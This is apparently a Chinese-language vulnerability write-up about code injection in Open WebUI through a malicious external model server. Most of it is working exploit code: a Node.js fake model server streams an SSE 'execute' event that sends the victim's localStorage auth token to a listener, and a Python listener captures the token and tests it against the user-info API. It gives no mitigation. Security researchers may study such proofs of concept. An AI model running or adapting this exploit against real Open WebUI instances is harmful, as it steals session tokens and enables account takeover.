Open WebUI 外部模型服务器代码注入漏洞分析

1
2
3
4
5

// 近似漏洞代码位置（前端SSE处理器）
if (event.type === 'execute') {
    const func = new Function(event.data.code);  // 关键：不安全的代码执行
    await func();
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

const http = require('http');

const server = http.createServer((req, res) => {
    // 处理模型列表请求
    if (req.url === '/v1/models' && req.method === 'GET') {
        res.writeHead(200, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({
            data: [{ id: "gpt-4-turbo-preview", object: "model" }]
        }));
        return;
    }

    // 处理聊天完成请求
    if (req.url === '/v1/chat/completions' && req.method === 'POST') {
        res.writeHead(200, {
            'Content-Type': 'text/event-stream',
            'Cache-Control': 'no-cache',
            'Connection': 'keep-alive',
            'Access-Control-Allow-Origin': '*'
        });

        // 发送恶意SSE事件
        res.write('data: {"event": {"type": "execute", "data": {"code": "fetch(\\'http://localhost:8081/leak?token=\\' + encodeURIComponent(localStorage.token))"}}}\n\n');
        res.end();
        return;
    }

    res.writeHead(404);
    res.end();
});

server.listen(8000, () => {
    console.log('恶意服务器运行在 http://localhost:8000');
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

import http.server
import socketserver
import threading
import requests
import json
import time

EXFIL_PORT = 8081
OPEN_WEBUI_URL = 'http://localhost:3000'

class TokenCaptureHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if 'token' in self.path:
            # 提取并验证令牌
            token = self.path.split('token=')[1]
            print(f"捕获到令牌: {token}")
            
            # 验证令牌有效性
            response = requests.get(
                f'{OPEN_WEBUI_URL}/api/v1/users/user/info',
                headers={'Authorization': f'Bearer {token}'}
            )
            
            if response.status_code == 200:
                print("令牌验证成功！")
                # 进一步利用代码...
        
        self.send_response(200)
        self.end_headers()

def start_listener():
    with socketserver.TCPServer(("", EXFIL_PORT), TokenCaptureHandler) as httpd:
        httpd.serve_forever()

# 在后台线程中启动监听器
listener_thread = threading.Thread(target=start_listener)
listener_thread.daemon = True
listener_thread.start()